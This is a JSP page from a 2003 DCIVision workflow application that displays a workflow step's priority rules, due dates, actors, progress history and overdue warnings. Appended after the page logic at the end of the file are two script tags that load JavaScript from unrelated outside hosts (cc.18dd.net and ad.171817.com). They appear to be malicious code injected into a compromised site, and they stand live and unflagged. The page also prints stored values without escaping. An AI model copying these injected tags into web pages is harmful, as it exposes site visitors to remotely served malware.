<%
/**
 * @(#)ViewWorkflowProgress.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */

/**
  ViewWorkflowProgress.jsp

  This class is reflecting business logic uses.

    @author           Angus Shiu
    @company          DCIVision Limited
    @creation date    05/08/2003
    @version          $Revision: 1.48.2.10 $
*/
%>

<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="org.quartz.JobDataMap"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.setup.bean.*"%>
<%@ page import="com.dcivision.setup.dao.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowProgressForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowProgressForm"/>
<%
  Connection conn = null;
  try {%>

<html:form action="workflow/MaintWorkflowStep" styleClass="form-style-2">
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
   Integer trackID = TextUtility.parseIntegerObj(request.getParameter("trackID"));
   conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   
   PermissionManager permissionManager = sessionContainer.getPermissionManager();
   DmsDocumentDAObject dmsDocumentDAO = new DmsDocumentDAObject(sessionContainer, conn);
   DmsVersionDAObject dmsVersionDAO = new DmsVersionDAObject(sessionContainer, conn);

   WorkingCalendarDAObject workingCalendarDAO = new WorkingCalendarDAObject(sessionContainer, conn);
   WorkflowStep workflowStep = (WorkflowStep) request.getAttribute("WorkflowStep");
   String permissionTypes = (String)request.getAttribute("permissionTypes");
   if (Utility.isEmpty(permissionTypes)) {
     permissionTypes = " ";
   }
   List userActorList = (List) request.getAttribute("UserActorList");
   List progressList = (List) request.getAttribute("ExecutedProgressList");
   String progressPriority = workflowStep.getPriority();
   String dueDate = null;
   if (!Utility.isEmpty(progressList) && progressList.size() > 0 ) {
     WorkflowProgress wfProgress = (WorkflowProgress)progressList.get(progressList.size()-1);
     progressPriority = wfProgress.getProgressPriority();
     if(!Utility.isEmpty(wfProgress.getDueDate())){
      dueDate = (wfProgress.getDueDate()).toString();
    }
   }
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) ) {%>
<%}%>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<!-- Page Title Section -->
<layout:popupTitle titleKey ="workflow.label.workflow_step_information"/>
<div class="tabContainer">
<div class="tabContent" style="display:block;height:320px;">
<table width="100%">
  <tr>
   <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="5"/></td>
  </tr>
  <%
  
  if (!Utility.isEmpty(workflowStep)) {%>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.step_name'/>:&nbsp;</td>
    <td class="formFieldSmall" width="450"><b style="color:#0000FF"><%= workflowStep.getStepSeq() %>.<%= workflowStep.getStepName() %> </b></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.step.instruction'/>:&nbsp;</td>
    <td class="formFieldSmall"><%= workflowStep.getDescription()!=null?workflowStep.getDescription():"" %></td>
  </tr>
  <tr>
    <td class="formLabelSmall">Priority:&nbsp;</td>
    <td class="formFieldSmall">
      <b>
      <% if (GlobalConstant.PRIORITY_HIGH.equals(progressPriority)) { %>
      <font color='red'>!!</font>&nbsp;&nbsp;<bean:message key='workflow.label.priority_3'/>
      <% } else if (GlobalConstant.PRIORITY_MEDIUM.equals(progressPriority)) { %>
      <font color='red'>!</font>&nbsp;&nbsp;<bean:message key='workflow.label.priority_2'/>
      <% } else if (GlobalConstant.PRIORITY_LOW.equals(progressPriority)) { %>
      <bean:message key='workflow.label.priority_1'/>
      <% } else { %>
      -
      <% } %>
      </b>
      <%if(GlobalConstant.TRUE.equals(workflowStep.getAllowAssignPriority()) ){
          String[] ruleArr = ruleArr = TextUtility.splitString(workflowStep.getPriorityRuleListValue(),"|");
          for (int i = 0; i < ruleArr.length; i++){
      %>
        <br>
        <%
            String tempRule = ruleArr[i];
            String[] elementArr = TextUtility.splitString(tempRule,",");
          %>
            <%=elementArr[0]%>
            <!-- Escalate Field Days/Hours/Minutes -->
            <%if(Calendar.DATE == Integer.parseInt(elementArr[1])) {%>
              <bean:message key='workflow.label.days'/>
            <%}else if (Calendar.HOUR == Integer.parseInt(elementArr[1])){%>
              <bean:message key='workflow.label.hours'/>
            <%}else{%>
              <bean:message key='workflow.label.minutes'/>
            <%}%>
            <!-- Trigger Type A/B -->
            <%if(MtmWorkflowProgressPriorityRule.AFTER_TASK_ARRIVED.equals(elementArr[2])){%>
              <bean:message key='workflow.label.after_task_arrived'/>
            <%}else{%>
              <bean:message key='workflow.label.before_task_due_date'/>
            <%}%>
            <!-- Escalate Level -->
            <%if(Integer.parseInt(elementArr[3])>0 ){%>
            , <bean:message key='workflow.label.priority_level' arg0='<%="+"+elementArr[3]%>'/>
            <%}else{%>
            , <bean:message key='workflow.label.priority_level' arg0='<%=elementArr[3]%>'/>
            <%}%>
            <!-- Notifition By -->
            <%if(!"null".equals(elementArr[4]) || !"null".equals(elementArr[5]) ){%>
            , <bean:message key='workflow.label.notification_by'/>
            <%}
              if(MtmWorkflowProgressPriorityRule.NOTIFY_BY_EMAIL.equals(elementArr[4]) && MtmWorkflowProgressPriorityRule.NOTIFY_BY_SYSTEM.equals(elementArr[5]) ) { %>
               <bean:message key='alert.label.notification_E'/> & <bean:message key='alert.label.notification_S'/>
            <%
              }else if(MtmWorkflowProgressPriorityRule.NOTIFY_BY_EMAIL.equals(elementArr[4])  ){%>
              <bean:message key='alert.label.notification_E'/>
            <%}else if(MtmWorkflowProgressPriorityRule.NOTIFY_BY_SYSTEM.equals(elementArr[5]) ){%>
              <bean:message key='alert.label.notification_S'/>
            <%}%>

      <%  }
        }%>
      </td>
  </tr>
  <%}
  if (!Utility.isEmpty(workflowStep)) {
  %>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.due_date'/>:&nbsp;</td>
<%      if((GlobalConstant.TRUE.equals(workflowStep.getAllowAssignDueDate()) || WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(workflowStep.getAllowAssignDueDate())) && dueDate != null){%>
      <td class="formFieldSmall"><%=dueDate%></td>
<%      }else if(GlobalConstant.TRUE.equals(workflowStep.getAllowAssignDueDate()) || WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(workflowStep.getAllowAssignDueDate())){%>
    <td class="formFieldSmall"><bean:message key='workflow.label.allow_assign_due_date'/></td>
<%      }else if(workflowStep.getOnNoResponseFor()!=null){
          String workingCalName = "";
          if (!Utility.isEmpty(workflowStep.getOnNoResponseCalendarID()) && ( new Integer(workflowStep.getOnNoResponseCalendarID()).intValue() ) > 0) {
            WorkingCalendar workingCal = (WorkingCalendar)workingCalendarDAO.getObjectByID(new Integer(workflowStep.getOnNoResponseCalendarID()));
            workingCalName = "\"" + workingCal.getWorkingCalendarName() + "\" " ;
          }
%>
    <td class="formFieldSmall"><%=workflowStep.getOnNoResponseFor()%>&nbsp;<%=workingCalName%><bean:message key='workflow.label.days_after_task_arrival'/></td>
<%      }else if (workflowStep.getOnNoResponseAfter() != null){%>
    <td class="formFieldSmall">&nbsp;<%= ((workflowStep.getOnNoResponseAfter()).toString()).substring(0,19) %></td>
<%      }else {%>
    <td class="formFieldSmall">&nbsp;</td>
<%      }%>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.action_after_due_date'/>:&nbsp;</td>
    <td class="formFieldSmall">&nbsp;
    <% if (!Utility.isEmpty(workflowStep.getOnNoResponseAction())){ %>
    <%
          // TODO: Make the code better
          String arg0 = "";
          if (WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(workflowStep.getOnNoResponseAction().substring(0,1)) ) {
            String decisionArr[][] = (String[][])request.getAttribute("workflowRouteList");
            arg0 = decisionArr[Integer.parseInt(workflowStep.getOnNoResponseAction().substring(1))+1][0];
          }
    %>
    <bean:message key='<%="workflow.label.action_after_due_"+workflowStep.getOnNoResponseAction().substring(0,1)%>' arg0='<%=arg0%>'/>
    <% }else{ %>
    -
    <% } %>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.actor'/>:&nbsp;</td>
    <td class="formFieldSmall"><wfm:ownerInfo stepID="<%=workflowStep.getID()%>" showEmail="true"/>
      <%if (WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(workflowStep.getActionType())) {%>
        <html:img src='IconAuto.gif'  align='absmiddle'/>
        <bean:message key='workflow.label.automatic_task'/>
      <%}%>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.workflow_rule'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <%= workflowStep.getWorkflowRule() %> <bean:message key='workflow.label.rule_desc'/>
    </td>
  </tr>
  <%}%>
  <tr>
    <td colspan="2"><html:img src='Spacer.gif' width='1' height='10' /></td>
  </tr>
  <%  
  //if (!Utility.isEmpty(permissionTypes) && permissionTypes.indexOf("R") >= 0) {
  if (!Utility.isEmpty(progressList)) {%>
<!-- Only display Track Info. if trackID exists -->
<% if(trackID!=null){%>
  <layout:sectionHeader name="workflow.label.workflow_progress_info" mandatory="false"/>               
  <%if(progressList.size()==0){%>
    <tr>
      <td colspan="2"><bean:message key='workflow.label.no_proceeded_step'/></td>
    </tr>
    <%}%>
<%
      for (int i = 0; i < progressList.size(); i++) {
        WorkflowProgress workflowProgress = (WorkflowProgress)progressList.get(i);
        pageContext.setAttribute("workflowProgress", workflowProgress);

        MtmWorkflowProgressUserRecordDAObject mtmWorkflowProgressUserRecordDAO = new MtmWorkflowProgressUserRecordDAObject(sessionContainer, conn);
        MtmWorkflowChildParentProgressDAObject subworkflowDAO = new MtmWorkflowChildParentProgressDAObject(sessionContainer, conn);
        MtmWorkflowDynamicUserActorDAObject dynamicUserDAO = new MtmWorkflowDynamicUserActorDAObject(sessionContainer, conn);
        List userList = mtmWorkflowProgressUserRecordDAO.getProcessedListByWorkflowProgressID(workflowProgress.getID());
        List dynamicActorList = dynamicUserDAO.getListByWorkflowProgressID(workflowProgress.getID());
        String status = workflowProgress.getStatus();
%>
    <!--- Display dynamic assigned to actors Begin -->
    <%if(!Utility.isEmpty(dynamicActorList)){%>
    <tr>
      <td class="formlabelSmall"><bean:message key='workflow.label.assigned_to'/>:</td>
      <td class="formFieldSmall"><wfm:ownerInfo stepID="<%=workflowStep.getID()%>" userActorList="<%=dynamicActorList%>" showEmail="true"/></td>      
    </tr>
    <%}%>
    <!--- Display dynamic assigned to actors End   -->
    <!--  Display processed this task user Begin -->
    <tr>
      <%if ("P".equals(status)) { %>
      <td  colspan='2'>
      <%} else { %>
      <td  colspan='2'>
      <%} %>

        <table border="0" cellpadding="0" cellspacing="0">
        <%if(userList.size()==0 && WorkflowProgress.STATUS_PENDING.equals(status)){%>
          <tr>
            <td colspan="2"><bean:message key='workflow.label.no_proceeded_step'/></td>
          </tr>
        <%}%>
        <%
            if( WorkflowProgress.STATUS_LOCK.equals(workflowProgress.getStatus()) ){
              // Special handling for locked progress ( waiting for approval of interrupt request )
              // In this case, there will be no record in the mtm_wf_progress_user_record (except checkout user)
              MtmWorkflowProgressUserRecord tmp1 = new MtmWorkflowProgressUserRecord();
              tmp1.setWorkflowAction ( WorkflowProgress.STATUS_LOCK );
              tmp1.setUpdateDate ( workflowProgress.getUpdateDate() );
              tmp1.setUserRecordID ( workflowProgress.getUpdaterID() );
              tmp1.setUserRecordName ( UserInfoFactory.getUserFullName(workflowProgress.getUpdaterID()) );
              userList.clear();  // ignore any checked out user record
              userList.add ( tmp1 );
            }
        %>

        <% for (int j = 0; j < userList.size(); j++) { %>
          <tr>
            <td>
              <html:img src='IconActionTaker.gif'  align='absmiddle'/>
            <% MtmWorkflowProgressUserRecord progressUserRecord = (MtmWorkflowProgressUserRecord)userList.get(j); %>
              <% if (WorkflowProgress.STATUS_IN_PROGRESS.equals(progressUserRecord.getWorkflowAction()) || !(WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(workflowStep.getActionType()) || WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(workflowStep.getActionType()))) { %>
              <bean:message key='<%= "workflow.label.action_by_" + progressUserRecord.getWorkflowAction().trim() %>'/>:
              <%
                  } else if (WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(workflowStep.getActionType())) {
                      // TODO: Make the code better
                      String arg0 = "";
                  if (WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(workflowStep.getActionType().substring(0,1)) ) {
                        String decisionArr[][] = (String[][])request.getAttribute("workflowRouteList");
                        arg0 = decisionArr[Integer.parseInt(progressUserRecord.getOperationParameter().substring(1))+1][0];
                      }
              %>
              <bean:message key='<%= "workflow.label.action_by_U"%>' arg0='<%=arg0%>'/>
              <% } else {%>
              <bean:message key='<%= "workflow.label.action_by_G"%>'/>:
              <% } %>
            <%
               String email = UserInfoFactory.getUserEmailAddress(progressUserRecord.getUserRecordID());
               WorkflowProgressManager wfProgressManager = new WorkflowProgressManager(sessionContainer, conn);
               List attachList = wfProgressManager.getWorkflowProgressAttachmentListByMtmWorkflowProgressUserRecordID(progressUserRecord.getID());
               
            %>
              <b><% if (!Utility.isEmpty(email)) { %><a href="mailto:<%= email %>"><% } %>
<!--add by nancy-->
				<%if(!Utility.isEmpty(progressUserRecord.getDelegateUserRecordID())){
				%>
				<font color="red">*</font><a href="#" onmouseover="return getPopupInfo('Delegated by: User     <%=UserInfoFactory.getUserFullName(progressUserRecord.getDelegateUserRecordID())%>');" onmouseout="return nd();">
				<%out.print(UserInfoFactory.getUserFullName(progressUserRecord.getUserRecordID()));%>
				</a>
				<%				
				}
				else{
				out.print(UserInfoFactory.getUserFullName(progressUserRecord.getUserRecordID()));
				}
				%>
<!--end add-->
			  <%//= UserInfoFactory.getUserFullName(progressUserRecord.getUserRecordID()) %>
			  <% if (!Utility.isEmpty(email)) { %>
			  <html:img src='IconEmail.gif'  align='absmiddle' alt='<%= MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.send_email", UserInfoFactory.getUserFullName(progressUserRecord.getUserRecordID())) %>'/></a><% } %></b>
              <bean:message key='calendar.columnheader.at'/>
              <b><%= TextUtility.formatTimestamp(progressUserRecord.getUpdateDate()) %></b>
              <% if (!Utility.isEmpty(progressUserRecord.getReason())) { %>
              | <a href="javascript://" onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/MaintWorkflowProgressReason.do?navMode=V&ID=<%= progressUserRecord.getID() %>&userRecordID=<%= progressUserRecord.getUserRecordID() %>','DCIVisionProgressReasonView',400,200,'scrollbars=yes,width=400,height=200,toolbar=no,status=no,directories=no,menubar=no,resizable=yes')"><html:img src='IconReason.gif'  align='absmiddle' alt='<%= MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.view_reason") %>'/></a>
              <% } %>                         
              <% for (int k = 0; k < attachList.size(); k++) {
                  WorkflowProgressAttachment attachment = (WorkflowProgressAttachment)attachList.get(k); 
                  if(WorkflowProgressAttachment.ATTACHED_DMS_VERSION_SYSTEM_ID.equals(attachment.getAttachmentType()) ){
                    String versionID = attachment.getExternalID();
                    DmsVersion dmsVersion = (DmsVersion)dmsVersionDAO.getObjectByID(new Integer(versionID));
                    Integer dmsDocumentID = dmsVersion.getDocumentID();
                    DmsDocument dmsDocument = (DmsDocument)dmsDocumentDAO.getObjectByID(dmsDocumentID);
                    //String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, dmsDocument.getParentID());
                    
                  %>
                  | <dms:documentInfo docObject='<%=dmsDocument%>' permission='R' version='<%=versionID%>' inviteToRead ='true' showIndexLayer='true' />
                  <%
                  }else if (!Utility.isEmpty(attachment.getExternalID())) { %>
                  | <a href="GetWorkflowProgressAttachmentServlet?ID=<%=attachment.getID()%>" target="_blank"><html:img src='IconFile.gif'  align='absmiddle' alt='<%= MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.view_attachment", ("" + (k + 1))) %>'/><%=attachment.getAttachmentName()%></a>              
                  <% } %>
              <% } %>
            </td>
          </tr>
          <% } %>
        <!--  Display processed this task user End   -->

    <% if (workflowProgress.getUpdaterID().intValue() == 0) {
             String routeMsg = "";
             Integer routeStepID = workflowStep.getOnNoResponseNextStepID();
             if (routeStepID!=null){
               //WorkflowStep routeStep = (WorkflowStep) workflowStepDAO.getObjectByID(routeStepID);
               //routeMsg = routeStep.getStepSeq() + "." + routeStep.getStepName();
             }
    %>
        <tr>
          <td>
            <%if(!Utility.isEmpty(workflowStep.getOnNoResponseAction())){%>
            <br>
            <b><bean:message key='workflow.label.overdued'/>:</b>
            <%
                  // TODO: Make the code better
                  String arg0 = "";
                  if (WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(workflowStep.getOnNoResponseAction().substring(0,1)) ) {
                    String decisionArr[][] = (String[][])request.getAttribute("workflowRouteList");
                    arg0 = decisionArr[Integer.parseInt(workflowStep.getOnNoResponseAction().substring(1))+1][0];
                  }
            %>
            <bean:message key='workflow.label.auto'/> <bean:message key='<%="workflow.label.action_after_due_"+workflowStep.getOnNoResponseAction().substring(0,1)%>' arg0='<%=arg0%>'/>.

  <%        }
                //if (!"".equals(routeMsg)){
  %>
                  <!--bean:message key='workflow.label.route_to'/> <b><%=routeMsg%></b-->
  <%
                //}
  %>
          </td>
        </tr>
<%      } %>
        <tr>
          <td><html:img src='Spacer.gif'  width='1' height='1'/></td>
        </tr>
  <%    if ((!"P".equals(status)) && (workflowStep.getOnNoResponseAfter() != null && workflowProgress.getUpdateDate().after(workflowStep.getOnNoResponseAfter()))
           || ("P".equals(status) && workflowStep.getOnNoResponseAfter() != null && Utility.getCurrentTimestamp().after(workflowStep.getOnNoResponseAfter()))) { %>
<%
          long secDiff = 0;
          if ("P".equals(status)) {
            secDiff = (Utility.getCurrentTimestamp().getTime() - workflowStep.getOnNoResponseAfter().getTime()) / 1000;
          } else {
            secDiff = (workflowProgress.getUpdateDate().getTime() - workflowStep.getOnNoResponseAfter().getTime()) / 1000;
          }
          int dayDiff = new Float(((float)secDiff) / 60.0F / 60.0F / 24.0F).intValue();
          int hourDiff = new Float((secDiff - (dayDiff * 60.0F * 60.0F * 24.0F)) / (60.0F * 60.0F)).intValue();
          int secondDiff = new Float((secDiff - (dayDiff * 60.0F * 60.0F * 24.0F) - (hourDiff * 60.0F *60.0F)) / (60.0F)).intValue();
%>
        <tr>
          <td>
            <br>
            <html:img src='IconWarning.gif'  align='absmiddle'/>
            <font color="#FF0000"><b><bean:message key='workflow.label.delay_sentence' arg0='<%= "" + dayDiff %>' arg1='<%= "" + hourDiff %>' arg2='<%="" +secondDiff%>'/></b></font>
          </td>
        </tr>
  <%    }else if(workflowStep.getOnNoResponseFor()!=null){
          long now = Utility.getCurrentTimestamp().getTime();
          long targetTime = workflowProgress.getCreateDate().getTime() + workflowStep.getOnNoResponseFor().intValue()*24*60*60*1000;
          long finishTime = "P".equals(status) ? now : workflowProgress.getUpdateDate().getTime();
          if(targetTime < finishTime){
            long secDiff = (finishTime - targetTime) / 1000 ;
            int dayDiff = new Float(((float)secDiff) / 60.0F / 60.0F / 24.0F).intValue();
            int hourDiff = new Float((secDiff - (dayDiff * 60.0F * 60.0F * 24.0F)) / (60.0F * 60.0F)).intValue();
%>
        <tr>
          <td>
            <br>
            <html:img src='IconWarning.gif'  align='absmiddle'/>
            <font color="#FF0000"><b><bean:message key='workflow.label.delay_sentence' arg0='<%= "" + dayDiff %>' arg1='<%= "" + hourDiff %>'/></b></font>
          </td>
        </tr>
<%      }
      }
%>
      </table>
    </td>
  </tr>
<%
  	}
	}
}
%>
</table>
</div>
</div>

<div id="bottomButtonArea">
<div id="buttonSection">
    <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
</div>
</div>

</html:form>
    <%
} catch(Exception e) {
  out.print(e);
  LogFactory.getLog(this.getClass()).error(e, e);
}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>